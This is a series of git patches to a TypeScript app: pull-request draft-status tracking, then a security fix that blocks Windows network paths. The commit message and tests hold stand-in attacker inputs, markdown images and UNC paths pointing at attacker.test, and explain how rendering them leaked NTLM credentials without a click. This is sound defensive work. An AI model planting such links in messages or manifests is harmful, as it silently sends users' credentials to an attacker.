a/apps/server/src/git/GitManager.ts b/apps/server/src/git/GitManager.ts index 43098c90ab60..1b5002ec110e 100644 --- a/apps/server/src/git/GitManager.ts +++ b/apps/server/src/git/GitManager.ts @@ -1195,21 +1195,27 @@ export const make = Effect.gen(function* () { return prLookupFailureTtl(streak); }; const pullRequestStateChanges = yield* PubSub.sliding(64); - const lookupStates = new Map(); + const lookupStates = new Map< + string, + { readonly state: PullRequestInfo["state"]; readonly isDraft: boolean } + >(); const noteLookupState = (pr: PullRequestInfo) => Effect.suspend(() => { const parsed = parseChangeRequestUrl(pr.url); if (parsed === null || parsed.number !== pr.number) return Effect.void; const key = normalizeThreadPullRequestKey(parsed); const id = threadPullRequestKeyOf(key); - const previous = lookupStates.get(id) ?? "open"; + const previous = lookupStates.get(id); lookupStates.delete(id); if (lookupStates.size >= PR_LOOKUP_CACHE_CAPACITY) { const oldest = lookupStates.keys().next().value; if (oldest !== undefined) lookupStates.delete(oldest); } - lookupStates.set(id, pr.state); - return previous === pr.state ? Effect.void : PubSub.publish(pullRequestStateChanges, key); + lookupStates.set(id, { state: pr.state, isDraft: pr.isDraft === true }); + return (previous?.state ?? "open") === pr.state && + (previous?.isDraft === true) === (pr.isDraft === true) + ? Effect.void + : PubSub.publish(pullRequestStateChanges, key); }); const prLookupCache = yield* Cache.makeWith( (key: string) => { diff --git a/apps/server/src/orchestration-v2/PullRequestSyncReactor.test.ts b/apps/server/src/orchestration-v2/PullRequestSyncReactor.test.ts index b5058898783d..54f3e4b25553 100644 --- a/apps/server/src/orchestration-v2/PullRequestSyncReactor.test.ts +++ b/apps/server/src/orchestration-v2/PullRequestSyncReactor.test.ts @@ -913,6 +913,43 @@ describe("PullRequestSyncReactor", () => { ), ); + it.effect.each([true, false])( + "syncs linked draft status %s as soon as a reader reports a change", + (isDraft) => + Effect.gen(function* () { + yield* TestClock.setTime(Date.parse(NOW)); + const draft = yield* Ref.make(!isDraft); + const invalidated = yield* Ref.make>([]); + const fixture = yield* makeHarness({ + snapshot: makeSnapshot([ + makeThread("agent", { pullRequests: [makeLink(7, { isDraft: !isDraft })] }), + ]), + summary: (input) => + Ref.get(draft).pipe(Effect.map((isDraft) => makeSummary(input, { isDraft }))), + invalidate: ({ reference }) => + Ref.update(invalidated, (numbers) => [...numbers, reference?.number ?? -1]), + }); + + yield* Effect.gen(function* () { + const reactor = yield* startAndSweep(fixture); + yield* Ref.set(draft, isDraft); + yield* Queue.offer(fixture.stateChanges, { + host: "github.com", + repository: "owner/repository", + number: 7, + }); + yield* Queue.take(fixture.snapshotReads); + yield* reactor.drain; + + assert.deepStrictEqual(yield* Ref.get(invalidated), [7]); + assert.deepStrictEqual( + (yield* Ref.get(fixture.syncCommands)).map((command) => command.snapshot.isDraft), + [isDraft], + ); + }).pipe(Effect.provide(fixture.layer)); + }), + ); + it.effect("preserves a refresh requested while an older host read is in flight", () => Effect.scoped( Effect.gen(function* () { diff --git a/apps/server/src/pullRequest/PullRequestService.test.ts b/apps/server/src/pullRequest/PullRequestService.test.ts index d270636c4014..a438ac780f43 100644 --- a/apps/server/src/pullRequest/PullRequestService.test.ts +++ b/apps/server/src/pullRequest/PullRequestService.test.ts @@ -2680,6 +2680,74 @@ it.effect( }), ); +it.effect("notifies linked threads when detail changes draft status in either direction", () => + Effect.gen(function* () { + let isDraft = true; + let updatedAt = "2026-07-02T00:00:00Z"; + const reference = { projectId: "p1" as ProjectId, repository: "acme/web", number: 1 }; + const service = yield* makeService({ + projects: [project({ id: "p1", title: "web", workspaceRoot: "/a", repository: "acme/web" })], + providers: [ + fakeProvider(SourceControlProviderKind.make("github"), { + getChangeRequest: () => + Effect.sync(() => ({ ...hostedChangeRequest("body"), isDraft, updatedAt })), + }), + ], + }); + const changes = yield* service.subscribeStateChanges; + const read = () => service.detail({ ...reference, allowStale: false }); + yield* read(); + yield* read(); + isDraft = false; + yield* service.invalidate({ reference }); + yield* read(); + yield* read(); + isDraft = true; + yield* service.invalidate({ reference }); + yield* read(); + + isDraft = false; + updatedAt = "2026-07-01T00:00:00Z"; + yield* service.invalidate({ reference }); + yield* read(); + + // A different PR ends collection after all the synchronous notifications above. + yield* service.reportState({ reference: { ...reference, number: 2 }, state: "open" }); + const events = yield* Stream.runCollect( + changes.pipe(Stream.takeUntil((event) => event.number === 2, { excludeLast: true })), + ); + assert.deepStrictEqual(events, [ + { host: "github.com", repository: "acme/web", number: 1 }, + { host: "github.com", repository: "acme/web", number: 1 }, + { host: "github.com", repository: "acme/web", number: 1 }, + ]); + }), +); + +it.effect("deduplicates routed PR reports without dropping draft changes", () => + Effect.gen(function* () { + const reference = { projectId: "p1" as ProjectId, repository: "acme/web", number: 1 }; + const service = yield* makeService({ + projects: [project({ id: "p1", title: "web", workspaceRoot: "/a", repository: "acme/web" })], + providers: [fakeProvider(SourceControlProviderKind.make("github"))], + }); + const changes = yield* service.subscribeStateChanges; + for (const isDraft of [true, true, false, false, true]) { + yield* service.reportState({ reference, state: "open", isDraft }); + } + yield* service.reportState({ reference, state: "open" }); + yield* service.reportState({ reference, state: "open" }); + yield* service.reportState({ reference: { ...reference, number: 2 }, state: "open" }); + const events = yield* Stream.runCollect( + changes.pipe(Stream.takeUntil((event) => event.number === 2, { excludeLast: true })), + ); + assert.deepStrictEqual( + events.map((event) => event.number), + [1, 1, 1, 1], + ); + }), +); + it.effect("reuses an observed merged state for strict settlement reads", () => Effect.gen(function* () { const reference = { projectId: "p1" as ProjectId, repository: "acme/web", number: 1 }; diff --git a/apps/server/src/pullRequest/PullRequestService.ts b/apps/server/src/pullRequest/PullRequestService.ts index f0c2b580064a..3c6c9b333fbf 100644 --- a/apps/server/src/pullRequest/PullRequestService.ts +++ b/apps/server/src/pullRequest/PullRequestService.ts @@ -102,7 +102,10 @@ export interface PullRequestMergeEvent extends PullRequestRef { readonly mergedAt: string; } -type PullRequestReading = Pick; +type PullRequestReading = Pick< + PullRequestSummary, + "state" | "isDraft" | "updatedAt" | "observedAt" +>; function supersedesReading(current: PullRequestReading | undefined, next: PullRequestReading) { if (current === undefined) return true; @@ -2891,10 +2894,12 @@ export const make = Effect.gen(function* () { } detailStates.set(scope, { state: next.state, + isDraft: next.isDraft, updatedAt: next.updatedAt, observedAt: next.observedAt, }); - return current?.state !== next.state && ref.host !== undefined + return (current?.state !== next.state || current?.isDraft !== next.isDraft) && + ref.host !== undefined ? PubSub.publish(stateChanges, { host: ref.host, repository: ref.repository, @@ -2906,22 +2911,34 @@ export const make = Effect.gen(function* () { // must never outrank a reading this environment made itself. const reportedStates = new Map< string, - { readonly state: PullRequestState; readonly atMs: number } + { + readonly state: PullRequestState; + readonly isDraft: boolean | undefined; + readonly atMs: number; + } >(); - const reportState: PullRequestService["Service"]["reportState"] = ({ reference, state }) => + const reportState: PullRequestService["Service"]["reportState"] = ({ + reference, + state, + isDraft, + }) => Effect.all([canonicalRef(reference), Clock.currentTimeMillis]).pipe( Effect.flatMap(([ref, nowMs]) => Effect.suspend(() => { const scope = refScope(ref); const reported = reportedStates.get(scope); - if (reported?.state === state && nowMs - reported.atMs < REPORTED_STATE_DEDUPE_MS) + if ( + reported?.state === state && + reported.isDraft === isDraft && + nowMs - reported.atMs < REPORTED_STATE_DEDUPE_MS + ) return Effect.void; reportedStates.delete(scope); if (reportedStates.size >= REF_EPOCH_CAPACITY) { const oldest = reportedStates.keys().next().value; if (oldest !== undefined) reportedStates.delete(oldest); } - reportedStates.set(scope, { state, atMs: nowMs }); + reportedStates.set(scope, { state, isDraft, atMs: nowMs }); return ref.host === undefined ? Effect.void : PubSub.publish(stateChanges, { diff --git a/packages/client-runtime/src/state/pullRequestRouting.ts b/packages/client-runtime/src/state/pullRequestRouting.ts index 73624f97b48b..2eeb6b0f9355 100644 --- a/packages/client-runtime/src/state/pullRequestRouting.ts +++ b/packages/client-runtime/src/state/pullRequestRouting.ts @@ -61,7 +61,9 @@ const writes = new Set([ WS_METHODS.pullRequestsSetLabels, ]); const isRef = Schema.is(PullRequestRef); -const hasState = Schema.is(Schema.Struct({ state: PullRequestState })); +const hasState = Schema.is( + Schema.Struct({ state: PullRequestState, isDraft: Schema.optional(Schema.Boolean) }), +); const isInvalidation = Schema.is(PullRequestInvalidateInput); const readTimeout = (environmentId: EnvironmentId) => Effect.timeoutOrElse({ @@ -223,14 +225,13 @@ const invalidateTarget = Effect.fn("PullRequestRouting.invalidateTarget")(functi */ const reportState = ( { allowStale: _allowStale, expectedAccountId: _expectedAccountId, ...reference }: PullRequestRef, - state: PullRequestState, + status: { readonly state: PullRequestState; readonly isDraft?: boolean | undefined }, ) => - request(WS_METHODS.pullRequestsReportState, { reference, state }).pipe( - Effect.timeoutOption("5 seconds"), - Effect.ignore, - Effect.forkDetach, - Effect.asVoid, - ); + request(WS_METHODS.pullRequestsReportState, { + reference, + state: status.state, + ...(status.isDraft === undefined ? {} : { isDraft: status.isDraft }), + }).pipe(Effect.timeoutOption("5 seconds"), Effect.ignore, Effect.forkDetach, Effect.asVoid); /** Credentials stay on their environments. Only a verified host and account cross the wire. */ export function createPullRequestRouter() { @@ -378,7 +379,7 @@ export function createPullRequestRouter() { ).pipe( Effect.tap((result) => id !== origin.target.environmentId && hasState(result) - ? reportState(ref, result.state) + ? reportState(ref, result) : Effect.void, ), Effect.tap(() => diff --git a/packages/client-runtime/src/state/pullRequests.test.ts b/packages/client-runtime/src/state/pullRequests.test.ts index 04b7f56b591c..a3ca6dc62a15 100644 --- a/packages/client-runtime/src/state/pullRequests.test.ts +++ b/packages/client-runtime/src/state/pullRequests.test.ts @@ -818,63 +818,68 @@ it.effect.each( ), ); -it.live("keeps source workspace metadata when an alternate answers a detail read", () => - Effect.scoped( - Effect.gen(function* () { - const noted = yield* Deferred.make(); - const clientFor = (local: boolean) => - ({ - [local ? WS_METHODS.pullRequestsRoutingIdentity : WS_METHODS.pullRequestsRouting]: () => - Effect.succeed({ - host: "github.com", - provider: "github", - viewer: "maria-rcks", - accountId: "123", - projectTitle: local ? "local project" : "source project", - workspaceRoot: local ? "/Users/local/repo" : "/srv/source/repo", - }), - [WS_METHODS.pullRequestsDetail]: () => - local - ? Effect.succeed({ - projectId: "local-project", - projectTitle: "local project", - workspaceRoot: "/Users/local/repo", - title: "github title", - state: "closed", - updatedAt: "2026-10-10T01:52:36Z", - }) - : Effect.never, - [WS_METHODS.pullRequestsReportState]: (input: unknown) => - Deferred.succeed(noted, input).pipe(Effect.asVoid), - }) as unknown as WsRpcProtocolClient; - const { environmentRegistry, supervisor } = yield* makeTestRuntime( - clientFor(false), - clientFor(true), - ); - const result = yield* createPullRequestRouter()(WS_METHODS.pullRequestsDetail, { - projectId: ProjectId.make("project-1"), - repository: "acme/web", - number: 7, - }).pipe( - Effect.provideService(EnvironmentRegistry.EnvironmentRegistry, environmentRegistry), - Effect.provideService(GitHubRoutingPermissions, trustedRouting), - Effect.provideService(RpcPermissionGuard, { authorize: () => Effect.void }), - Effect.provideService(EnvironmentSupervisor.EnvironmentSupervisor, supervisor), - ); - expect(result).toEqual({ - projectId: "project-1", - projectTitle: "source project", - workspaceRoot: "/srv/source/repo", - title: "github title", - state: "closed", - updatedAt: "2026-10-10T01:52:36Z", - }); - expect(yield* Deferred.await(noted)).toEqual({ - reference: { projectId: "project-1", repository: "acme/web", number: 7 }, - state: "closed", - }); - }), - ), +it.live.each([undefined, true, false])( + "keeps source workspace metadata and reports draft %s when an alternate answers a detail read", + (isDraft) => + Effect.scoped( + Effect.gen(function* () { + const noted = yield* Deferred.make(); + const clientFor = (local: boolean) => + ({ + [local ? WS_METHODS.pullRequestsRoutingIdentity : WS_METHODS.pullRequestsRouting]: () => + Effect.succeed({ + host: "github.com", + provider: "github", + viewer: "maria-rcks", + accountId: "123", + projectTitle: local ? "local project" : "source project", + workspaceRoot: local ? "/Users/local/repo" : "/srv/source/repo", + }), + [WS_METHODS.pullRequestsDetail]: () => + local + ? Effect.succeed({ + projectId: "local-project", + projectTitle: "local project", + workspaceRoot: "/Users/local/repo", + title: "github title", + state: "closed", + ...(isDraft === undefined ? {} : { isDraft }), + updatedAt: "2026-10-10T01:52:36Z", + }) + : Effect.never, + [WS_METHODS.pullRequestsReportState]: (input: unknown) => + Deferred.succeed(noted, input).pipe(Effect.asVoid), + }) as unknown as WsRpcProtocolClient; + const { environmentRegistry, supervisor } = yield* makeTestRuntime( + clientFor(false), + clientFor(true), + ); + const result = yield* createPullRequestRouter()(WS_METHODS.pullRequestsDetail, { + projectId: ProjectId.make("project-1"), + repository: "acme/web", + number: 7, + }).pipe( + Effect.provideService(EnvironmentRegistry.EnvironmentRegistry, environmentRegistry), + Effect.provideService(GitHubRoutingPermissions, trustedRouting), + Effect.provideService(RpcPermissionGuard, { authorize: () => Effect.void }), + Effect.provideService(EnvironmentSupervisor.EnvironmentSupervisor, supervisor), + ); + expect(result).toEqual({ + projectId: "project-1", + projectTitle: "source project", + workspaceRoot: "/srv/source/repo", + title: "github title", + state: "closed", + ...(isDraft === undefined ? {} : { isDraft }), + updatedAt: "2026-10-10T01:52:36Z", + }); + expect(yield* Deferred.await(noted)).toEqual({ + reference: { projectId: "project-1", repository: "acme/web", number: 7 }, + state: "closed", + ...(isDraft === undefined ? {} : { isDraft }), + }); + }), + ), ); it.live( diff --git a/packages/contracts/src/pullRequest.ts b/packages/contracts/src/pullRequest.ts index 5553bb7f176b..a68f5394b0dd 100644 --- a/packages/contracts/src/pullRequest.ts +++ b/packages/contracts/src/pullRequest.ts @@ -538,6 +538,7 @@ export type PullRequestInvalidateInput = typeof PullRequestInvalidateInput.Type; export const PullRequestReportStateInput = Schema.Struct({ reference: PullRequestRef, state: PullRequestState, + isDraft: Schema.optional(Schema.Boolean), }); export type PullRequestReportStateInput = typeof PullRequestReportStateInput.Type; From bd6940beab9e04a843d711fca812067c22991ab4 Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 15:47:19 -0700 Subject: [PATCH 084/130] test(web): chat shortcut test types through the composer handle (#23126) Co-authored-by: Claude Opus 5.5 --- .../chat/useChatShortcuts.browser.test.tsx | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/apps/web/src/components/chat/useChatShortcuts.browser.test.tsx b/apps/web/src/components/chat/useChatShortcuts.browser.test.tsx index e0163288e44f..b601de299dac 100644 --- a/apps/web/src/components/chat/useChatShortcuts.browser.test.tsx +++ b/apps/web/src/components/chat/useChatShortcuts.browser.test.tsx @@ -3,6 +3,7 @@ import { expect, it } from "vite-plus/test"; import { userEvent } from "vite-plus/test/browser"; import { render } from "../../../test/render"; +import type { ChatComposerHandle } from "./ChatComposer"; import { useChatShortcuts } from "./useChatShortcuts"; const shortcutContext = { @@ -50,10 +51,16 @@ function Chat(props: { composerKeys: string[]; launcher?: { keys: string; receiv scriptKeybindings: [], getShortcutContext: () => shortcutContext, threadFindActive: false, - typeIntoComposer: (key) => { - props.composerKeys.push(key); - return true; + // Type-to-focus only calls insertTextAtEnd, so the stand-in composer implements just that. + composerRef: { + current: { + insertTextAtEnd: (key: string) => { + props.composerKeys.push(key); + return true; + }, + } as Partial as ChatComposerHandle, }, + branchToolbarRef: { current: null }, closeThreadFind: () => {}, commands: {}, fallback: () => undefined, From a12d6ed9428d8e64d76ca86d178abbf564b57cee Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 15:47:22 -0700 Subject: [PATCH 085/130] Merge commit from fork A markdown image such as ![x](file://attacker.test/share/cat.jpg), or a raw \\host\share path, was classified as a host file. Rendering it asked the server for a signed asset URL, and the server's realpath on the resulting UNC path made Windows open an SMB session and send the user's NetNTLMv2 response to the attacker's host, with no click and no tool call. File-link chips did the same through filesystem.getMetadata, which stats every absolute path, and storage cleanup stats the store paths in a worktree's pnpm manifest, which an agent can write. Network paths (two leading separators, as Windows reads them: \\h, //h, /\h) now only resolve inside the thread's project, so projects on a share keep working: - clients block them in markdown images and stop treating them as file links - the web stops asking for their metadata - the server refuses them for media assets and file reads outside the project, never stats one for metadata, and storage cleanup ignores a pnpm manifest that names one - each check hands the filesystem the resolved path it approved, since Windows reads a `\\?\` path as written, `..` included Co-authored-by: Claude Opus 5.5 --- apps/mobile/src/lib/markdownMedia.test.ts | 8 +- apps/server/src/assets/AssetAccess.test.ts | 42 ++++++++ apps/server/src/assets/AssetAccess.ts | 22 +++- apps/server/src/storageCleanup.test.ts | 30 ++++++ apps/server/src/storageCleanup.ts | 6 ++ .../src/workspace/WorkspaceFileSystem.test.ts | 101 +++++++++++++++++- .../src/workspace/WorkspaceFileSystem.ts | 27 ++++- apps/server/src/ws.ts | 6 +- apps/web/src/hooks/useFileMetadata.ts | 10 +- .../client-runtime/src/markdownImages.test.ts | 15 ++- packages/client-runtime/src/markdownImages.ts | 27 +++-- .../client-runtime/src/mediaSource.test.ts | 1 - packages/shared/src/markdownLinks.test.ts | 9 +- packages/shared/src/markdownLinks.ts | 15 ++- packages/shared/src/path.ts | 9 ++ 15 files changed, 302 insertions(+), 26 deletions(-) diff --git a/apps/mobile/src/lib/markdownMedia.test.ts b/apps/mobile/src/lib/markdownMedia.test.ts index 33fec670e41e..ef7cca311146 100644 --- a/apps/mobile/src/lib/markdownMedia.test.ts +++ b/apps/mobile/src/lib/markdownMedia.test.ts @@ -38,10 +38,10 @@ describe("resolveMarkdownMediaPreview", () => { ["/tmp/frame%23one.png:12", "/tmp/frame#one.png"], ["/tmp/frame%3Fone.png:12:3", "/tmp/frame?one.png"], ["/tmp/frame%2523one.png:12", "/tmp/frame%23one.png"], - ["file://server/share/frame.png", "\\\\server\\share\\frame.png"], - ["\\\\server\\share\\frame.png", "\\\\server\\share\\frame.png"], - ])("keeps encoded filename and UNC semantics for %s", (href, path) => { - expect(resolveMarkdownMediaPreview(href, input)).toMatchObject({ + ["file://server/share/frame.png", "\\\\server\\share\\frame.png", "\\\\server\\share"], + ["\\\\server\\share\\frame.png", "\\\\server\\share\\frame.png", "\\\\server\\share"], + ])("keeps encoded filename and UNC semantics for %s", (href, path, workspaceRoot = "/repo") => { + expect(resolveMarkdownMediaPreview(href, { ...input, workspaceRoot })).toMatchObject({ kind: "image", source: { resource: { path }, diff --git a/apps/server/src/assets/AssetAccess.test.ts b/apps/server/src/assets/AssetAccess.test.ts index a5d0a2f6616b..05e6e9c3b1b8 100644 --- a/apps/server/src/assets/AssetAccess.test.ts +++ b/apps/server/src/assets/AssetAccess.test.ts @@ -17,6 +17,7 @@ import * as FileSystem from "effect/FileSystem"; import * as Layer from "effect/Layer"; import * as Redacted from "effect/Redacted"; import * as Path from "effect/Path"; +import * as PlatformError from "effect/PlatformError"; import * as Schema from "effect/Schema"; import { HttpClient, HttpClientResponse, HttpServerResponse } from "effect/http"; import { vi } from "vite-plus/test"; @@ -359,6 +360,47 @@ describe("AssetAccess", () => { }).pipe(Effect.provide(layerTest)), ); + // Resolving `file://attacker.test/share/cat.jpg` from an agent's markdown sent the + // Windows user's NTLM credentials to attacker.test. + it.effect("never resolves a network media path outside the thread's project", () => + Effect.gen(function* () { + const fs = yield* FileSystem.FileSystem; + const path = yield* Path.Path; + const resolved: Array = []; + const recordingFileSystem = FileSystem.FileSystem.of({ + ...fs, + realPath: (requestedPath) => { + resolved.push(requestedPath); + return Effect.fail( + PlatformError.systemError({ + _tag: "NotFound", + module: "FileSystem", + method: "realPath", + pathOrDescriptor: requestedPath, + }), + ); + }, + }); + const share = "//nas.test/share/project"; + for (const resource of [ + { + _tag: "media-file", + threadId: ThreadId.make("thread-1"), + path: "//attacker.test/s/a.png", + }, + { _tag: "draft-workspace-file", cwd: share, path: "//attacker.test/s/a.png" }, + { _tag: "media-file", threadId: ThreadId.make("thread-1"), path: `${share}/a.png` }, + ] as const) { + const error = yield* issueAssetUrl({ resource, workspaceRoot: share }).pipe( + Effect.provideService(FileSystem.FileSystem, recordingFileSystem), + Effect.flip, + ); + expect(error._tag).toBe("AssetWorkspaceAssetNotFoundError"); + } + expect(resolved).toEqual([path.resolve(`${share}/a.png`)]); + }).pipe(Effect.provide(layerTest)), + ); + it.effect.skipIf(!symlinksSupported)( "rejects non-previewable files, disguised targets, and directories", () => diff --git a/apps/server/src/assets/AssetAccess.ts b/apps/server/src/assets/AssetAccess.ts index c25dce2494f2..853c07435b36 100644 --- a/apps/server/src/assets/AssetAccess.ts +++ b/apps/server/src/assets/AssetAccess.ts @@ -36,6 +36,7 @@ import { isProjectFaviconPath, PROJECT_FAVICON_FALLBACK_MARKER, } from "@t3tools/shared/projectFavicon"; +import { isNetworkPath } from "@t3tools/shared/path"; import { MAX_TOOL_OUTPUT_IMAGE_BASE64_LENGTH, toolOutputImages } from "@t3tools/shared/toolOutput"; import * as Clock from "effect/Clock"; import * as Crypto from "effect/Crypto"; @@ -60,6 +61,7 @@ import * as ServerConfig from "../config.ts"; import * as Orchestrator from "../orchestration-v2/Orchestrator.ts"; import { expandHomePath } from "@t3tools/provider-core/server/pathExpansion"; import * as ProjectFaviconResolver from "../project/ProjectFaviconResolver.ts"; +import { isWithinRoot } from "../workspace/KnownWorkspaces.ts"; import * as WorkspacePaths from "../workspace/WorkspacePaths.ts"; import * as NativeAppIconResolver from "./NativeAppIconResolver.ts"; import { extractIcnsPng } from "./icns.ts"; @@ -349,11 +351,27 @@ const readImageDimensionsFromHeader = (filePath: string) => const finalizeAbsoluteMediaFileAsset = Effect.fn("AssetAccess.finalizeAbsoluteMediaFileAsset")( function* (input: { readonly requestedPath: string; + readonly workspaceRoot: string | undefined; readonly resource: AssetResource; readonly expiresAt: number; }) { const path = yield* Path.Path; - const canonicalFile = yield* resolveCanonicalFile(input.requestedPath).pipe( + // Resolving a network path makes Windows sign in to its host with the + // user's NTLM credentials, so only the thread's own project may be on a share. + // Windows reads a `\\?\` path as written, `..` included, so the lookup gets + // the resolved path this check approved. + const requestedPath = path.resolve(input.requestedPath); + if ( + isNetworkPath(input.requestedPath) && + (input.workspaceRoot === undefined || + !isWithinRoot(path, requestedPath, path.resolve(input.workspaceRoot))) + ) { + return yield* new AssetWorkspaceAssetNotFoundError({ + resource: input.resource, + checkedPath: input.requestedPath, + }); + } + const canonicalFile = yield* resolveCanonicalFile(requestedPath).pipe( Effect.mapError( (cause) => new AssetWorkspaceAssetInspectionError({ resource: input.resource, cause }), ), @@ -524,6 +542,7 @@ export const issueAssetUrl = Effect.fn("AssetAccess.issueAssetUrl")(function* (i } const finalized = yield* finalizeAbsoluteMediaFileAsset({ requestedPath, + workspaceRoot: input.workspaceRoot, resource: input.resource, expiresAt, }); @@ -566,6 +585,7 @@ export const issueAssetUrl = Effect.fn("AssetAccess.issueAssetUrl")(function* (i if (path.isAbsolute(hostPath)) { const finalized = yield* finalizeAbsoluteMediaFileAsset({ requestedPath: hostPath, + workspaceRoot: draftWorkspaceRoot, resource: input.resource, expiresAt, }); diff --git a/apps/server/src/storageCleanup.test.ts b/apps/server/src/storageCleanup.test.ts index 35959d91d9b6..992e219db912 100644 --- a/apps/server/src/storageCleanup.test.ts +++ b/apps/server/src/storageCleanup.test.ts @@ -1299,6 +1299,36 @@ describe("storage cleanup reports and local file policies", () => { }), ), ); + // An agent can write this manifest. Statting its store sent the Windows + // user's NTLM credentials to attacker.test during a background sweep. + it.live.each([ + { storeDir: "\\\\attacker.test\\s" }, + { storeDir: "/local/store", virtualStoreDir: "//attacker.test/s" }, + ])("never stats a network pnpm store %o", (manifest) => + runCleanupTest( + Effect.gen(function* () { + const fs = yield* FileSystem.FileSystem; + const statted: Array = []; + const { service, worktree, setPolicy } = yield* cleanupFixture().pipe( + Effect.provideService(FileSystem.FileSystem, { + ...fs, + stat: (target) => { + statted.push(target); + return fs.stat(target); + }, + }), + ); + setPolicy("tracked-changes"); + yield* fs.makeDirectory(`${worktree}/node_modules`); + yield* fs.writeFileString( + `${worktree}/node_modules/.modules.yaml`, + JSON.stringify(manifest), + ); + expect((yield* service.runNow).entries[0]).toMatchObject({ outcome: "removed" }); + expect(statted.filter((target) => target.includes("attacker.test"))).toEqual([]); + }), + ), + ); it.live("still removes a worktree when measuring its size fails", () => runCleanupTest( Effect.gen(function* () { diff --git a/apps/server/src/storageCleanup.ts b/apps/server/src/storageCleanup.ts index 1c4eb714facd..a196321e3809 100644 --- a/apps/server/src/storageCleanup.ts +++ b/apps/server/src/storageCleanup.ts @@ -50,6 +50,7 @@ import { removeLinkedWorktree } from "./vcs/worktreeRemoval.ts"; import { withWorkspaceLease } from "./workspace/workspaceLease.ts"; import * as HostProcess from "@t3tools/shared/HostProcess"; import * as NodeSqliteClient from "@t3tools/shared/nodeSqliteClient"; +import { isNetworkPath } from "@t3tools/shared/path"; const decodeCleanupThread = Schema.decodeUnknownEffect( Schema.fromJsonString(OrchestrationV2AppThreadJson), @@ -265,6 +266,11 @@ const make = Effect.gen(function* () { const nodeModules = path.join(root, "node_modules"); const text = yield* fs.readFileString(path.join(nodeModules, ".modules.yaml")); const manifest = yield* decodePnpmModulesManifest(yield* Effect.try(() => parseYaml(text))); + // An agent can write this manifest, and statting a network path makes + // Windows sign in to its host with the user's NTLM credentials. + if (isNetworkPath(manifest.storeDir) || isNetworkPath(manifest.virtualStoreDir ?? "")) { + return null; + } const virtualStore = path.resolve(nodeModules, manifest.virtualStoreDir ?? ".pnpm"); const [store, virtual] = yield* Effect.all([ fs.stat(manifest.storeDir), diff --git a/apps/server/src/workspace/WorkspaceFileSystem.test.ts b/apps/server/src/workspace/WorkspaceFileSystem.test.ts index 6dc5d4c08575..9eb2ba758049 100644 --- a/apps/server/src/workspace/WorkspaceFileSystem.test.ts +++ b/apps/server/src/workspace/WorkspaceFileSystem.test.ts @@ -1,6 +1,8 @@ -// @effect-diagnostics nodeBuiltinImport:off - FileSystem cannot create a FIFO. +// @effect-diagnostics nodeBuiltinImport:off - FileSystem cannot create a FIFO, and reads spy on native realpath. import * as NodeChildProcess from "node:child_process"; +import * as NodeFSP from "node:fs/promises"; +import * as NodePath from "@effect/platform-node/NodePath"; import * as NodeServices from "@effect/platform-node/NodeServices"; import { it, describe, expect } from "@effect/vitest"; import * as Effect from "effect/Effect"; @@ -17,6 +19,12 @@ import * as WorkspaceFileSystem from "./WorkspaceFileSystem.ts"; import * as WorkspacePaths from "./WorkspacePaths.ts"; import * as HostProcess from "@t3tools/shared/HostProcess"; import { symlinksSupported } from "@t3tools/shared/testing/symlinks"; +import { vi } from "vite-plus/test"; + +vi.mock("node:fs/promises", async (importOriginal) => { + const actual = await importOriginal(); + return { ...actual, realpath: vi.fn(actual.realpath) }; +}); // Temp folders count as known workspaces unless named as unknown. const UNKNOWN_WORKSPACE_PREFIX = "t3code-unknown-workspace-"; @@ -123,6 +131,35 @@ it.layer(layerTest, { excludeTestServices: true })("WorkspaceFileSystemLive", (i ]); }), ); + + // A file chip for `file://attacker.test/s/a.ts` in an agent's message sent + // the Windows user's NTLM credentials to attacker.test as it rendered. + it.effect("never stats a network path", () => + Effect.gen(function* () { + const fs = yield* FileSystem.FileSystem; + const statted: Array = []; + const service = yield* WorkspaceFileSystem.make.pipe( + Effect.provideService( + FileSystem.FileSystem, + FileSystem.FileSystem.of({ + ...fs, + stat: (requestedPath) => { + statted.push(requestedPath); + return fs.stat(requestedPath); + }, + }), + ), + Effect.provide(layerKnownWorkspacesTest), + ); + const paths = [ + "\\\\attacker.test\\s\\a.ts", + "//attacker.test/s/a.ts", + "/\\attacker.test\\s", + ]; + expect((yield* service.getMetadata({ paths })).entries).toEqual([null, null, null]); + expect(statted).toEqual([]); + }), + ); }); describe("readFile", () => { @@ -199,6 +236,68 @@ it.layer(layerTest, { excludeTestServices: true })("WorkspaceFileSystemLive", (i }), ); + it.effect("refuses a network path outside the workspace", () => + Effect.gen(function* () { + const workspaceFileSystem = yield* WorkspaceFileSystem.WorkspaceFileSystem; + + const error = yield* workspaceFileSystem + .readFile({ cwd: "//nas.test/share/project", relativePath: "//attacker.test/s/a.md" }) + .pipe(Effect.flip); + + expect(error).toBeInstanceOf(WorkspacePaths.WorkspacePathOutsideRootError); + }), + ); + + // This resolves inside the project, but Windows reads `\\?\` paths as + // written, so realpath on the raw string signed in to attacker.test. + it.effect("reads the network path it checked", () => + Effect.gen(function* () { + const workspaceFileSystem = yield* WorkspaceFileSystem.make.pipe( + Effect.provide(Layer.merge(layerKnownWorkspacesTest, NodePath.layerWin32)), + ); + // Rejects without touching the filesystem, so a Windows runner never looks the share up. + const realpath = vi + .mocked(NodeFSP.realpath) + .mockClear() + .mockRejectedValueOnce(Object.assign(new Error("ENOENT"), { code: "ENOENT" })); + + yield* workspaceFileSystem + .readFile({ + cwd: "\\\\?\\UNC\\nas.test\\share\\project", + relativePath: "\\\\?\\UNC\\attacker.test\\s\\..\\..\\nas.test\\share\\project\\a.md", + }) + .pipe(Effect.exit); + + expect(realpath.mock.calls.map(([target]) => target)).toEqual([ + "\\\\?\\UNC\\nas.test\\share\\project\\a.md", + ]); + }), + ); + + // Resolving `..` before realpath would read beside the link instead of its target. + // Windows collapses `..` before the filesystem sees a path, so it has no such reads. + it.effect.skipIf(!symlinksSupported || HostProcess.Platform.defaultValue() === "win32")( + "reads `..` after a link from the link's target", + () => + Effect.gen(function* () { + const workspaceFileSystem = yield* WorkspaceFileSystem.WorkspaceFileSystem; + const fs = yield* FileSystem.FileSystem; + const path = yield* Path.Path; + const root = yield* makeTempDir; + yield* writeTextFile(root, "target/parent.md", "beside the target\n"); + yield* writeTextFile(root, "parent.md", "beside the link\n"); + yield* fs.makeDirectory(path.join(root, "target", "child")); + yield* fs.symlink(path.join(root, "target", "child"), path.join(root, "link")); + + const result = yield* workspaceFileSystem.readFile({ + cwd: root, + relativePath: `${root}/link/../parent.md`, + }); + + 